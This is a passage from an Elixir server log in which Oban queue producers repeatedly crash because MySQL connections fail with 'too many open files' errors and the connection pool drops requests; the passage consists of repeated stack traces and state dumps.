    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:17:37.238905Z], limit: 50, uuid: "8c36ec0f-b53c-4bdb-a2dc-9af0d0cfdd3d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:37.238911Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.2519>, refresh_timer: #Reference<0.2525715032.1068498948.2500>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:50.188000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:50.750000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:52.067000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:52.180000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:52.314000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:53.946000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:57.282000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:57.947000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:58.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2006ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:17:45.237580Z], limit: 10, uuid: "8f311fb3-de0d-4676-befe-3cc595da8c44", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:45.237589Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.2730>, refresh_timer: #Reference<0.2525715032.1068498948.2722>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:17:49.432102Z], limit: 50, uuid: "f164cc93-cf6e-4169-98fc-8e6ffdae3d0c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:49.432108Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.15091>, refresh_timer: #Reference<0.2525715032.1077411843.246833>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:17:49.426698Z], limit: 5, uuid: "f0212dd2-5346-4346-8e7c-ba88fbc72241", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:49.426704Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.15090>, refresh_timer: #Reference<0.2525715032.1077411843.246786>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:17:49.426260Z], limit: 20, uuid: "705b2de6-eff3-4650-adba-a46c09f985ce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:49.426266Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.2878>, refresh_timer: #Reference<0.2525715032.1077411843.246772>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:17:49.426952Z], limit: 5, uuid: "9c3b1e2b-c4df-499a-8a46-988bfda3f38c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:49.426957Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.2879>, refresh_timer: #Reference<0.2525715032.1077411843.246798>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:02.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:17:49.428714Z], limit: 3, uuid: "f9e77055-a178-4128-89c8-7e1d68a3607f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:49.428720Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.2880>, refresh_timer: #Reference<0.2525715032.1077411843.246819>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:04.570000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:07.349000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:10.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:17:58.237432Z], limit: 10, uuid: "838bfce8-db4b-44e9-aaae-605a93f898b0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:58.237439Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.15341>, refresh_timer: #Reference<0.2525715032.1068498948.2937>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:10.751000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:11.007000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:13.346000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
